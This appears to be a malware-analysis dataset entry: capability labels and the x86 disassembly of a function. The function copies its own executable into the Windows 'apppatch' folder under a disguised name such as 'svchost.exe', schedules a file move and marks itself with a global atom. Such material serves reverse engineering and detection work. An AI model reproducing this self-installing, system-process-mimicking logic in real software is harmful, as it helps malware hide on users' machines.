Function at 0x402510
Capabilities:
Check if file exists
Copy file
Delete file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x338
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0x1c
lea eax, [esp + 0x10]
push eax
push 0x401cb0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x10]
push 0x104
lea ecx, [esp + 0x134]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x45f8d8]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x402570
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402699
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4025a7
mov edx, dword [str._apppatch_]
mov ecx, dword [0x40b2dc]
mov dword [eax], edx
mov dx, word [0x40b2e0]
mov dword [eax + 4], ecx
mov cl, byte [0x40b2e2]
mov word [eax + 8], dx
push 0x408170
mov byte [eax + 0xa], cl
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40260b
push 0x40affc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40260b
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x40263b
lea eax, [esp + 0x28]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402617
mov ecx, dword [str.svchost.exe]
mov edx, dword [0x40b2e8]
mov dword [eax], ecx
mov ecx, dword [0x40b2ec]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
jmp 0x402699
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004013b0
and eax, 1
add eax, 6
push eax
call fcn.00401400
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402655
lea edi, [esp + 0x28]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402663
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x28]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402680
mov edx, dword [str..dat]
mov cl, byte [0x40b2f4]
mov dword [eax], edx
mov byte [eax + 4], cl
lea edx, [esp + 0x28]
push edx
push 0x40b2f8
lea eax, [esp + 0x240]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 1
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402779
lea esi, [esp + 0x28]
call fcn.004023d0
mov eax, esi
push eax
call fcn.00401aa0
mov eax, esi
call fcn.00401bb0
mov ecx, esi
push ecx
call fcn.00401c20
push 4
mov edx, esi
push edx
lea eax, [esp + 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x408170
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402740
push 0x40affc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402740
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [esp + 8], 0
je 0x402751
lea edx, [esp + 0x28]
push edx
call fcn.00401490
push str.Thu_May_26_21:15:00_20111
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
je 0x40276e
call fcn.00402240
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.Thu_May_26_21:15:00_20111
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret